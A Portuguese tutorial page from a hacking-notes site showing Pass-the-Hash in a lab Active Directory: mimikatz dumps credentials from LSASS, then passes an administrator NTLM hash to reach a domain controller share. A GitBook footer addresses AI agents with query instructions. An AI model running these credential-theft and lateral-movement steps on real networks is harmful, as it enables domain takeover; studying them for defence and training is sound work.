> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/pass-the-hash-on-windows.md).

# Pass-the-Hash no Windows

Se uma máquina se conecta a um compartilhamento SMB com um IP em vez do nome do host, a autenticação frequentemente passa pelo NTLM.

Exemplo:

```powershell
dir //172.16.0.10/c$
```

<figure><img src="/files/d9d3346e372db6bb186c69d2f6037918559d4a63" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
NTLM (NT LAN Manager) é um conjunto de protocolos de segurança desenvolvido pela Microsoft. Ele permite principalmente que usuários sejam autenticados em uma rede de computadores, ou seja, verificar sua identidade quando tentam acessar um computador, um servidor ou uma pasta compartilhada. O NTLM funciona trocando informações criptografadas entre o usuário e o servidor para evitar o envio direto da senha pela rede. Embora tenha sido usado por muito tempo em ambientes Windows, esse protocolo está agora sendo gradualmente substituído pelo Kerberos, considerado mais seguro e mais eficiente.
{% endhint %}

De `WS01`, vemos que o acesso depende do contexto já carregado na memória.

Aqui, nenhuma nova autenticação é solicitada, porque o processo reutiliza os segredos já presentes em `LSASS`.

```bash
 dir //172.16.0.10/c$
```

<figure><img src="/files/43c730360ce7ef1a3d6b09104679495794e01a1e" alt=""><figcaption></figcaption></figure>

Podemos então injetar o hash NTLM de outra conta, por exemplo `administrador`.

```bash
./mimikatz.exe

sekurlsa::logonpasswords
```

<figure><img src="/files/09484ed7605fe868e1b29950b22e0224cb8eee91" alt=""><figcaption></figcaption></figure>

Com `mimikatz`, estamos executando um Pass-the-Hash.

```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

Uma nova janela do console se abre no contexto desta conta.

Podemos então acessar os recursos do controlador de domínio com essa identidade.

```powershell
dir //172.16.0.100/c$
```

<figure><img src="/files/42006f0aa86dc9b390a682cf915225678f4ff95f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
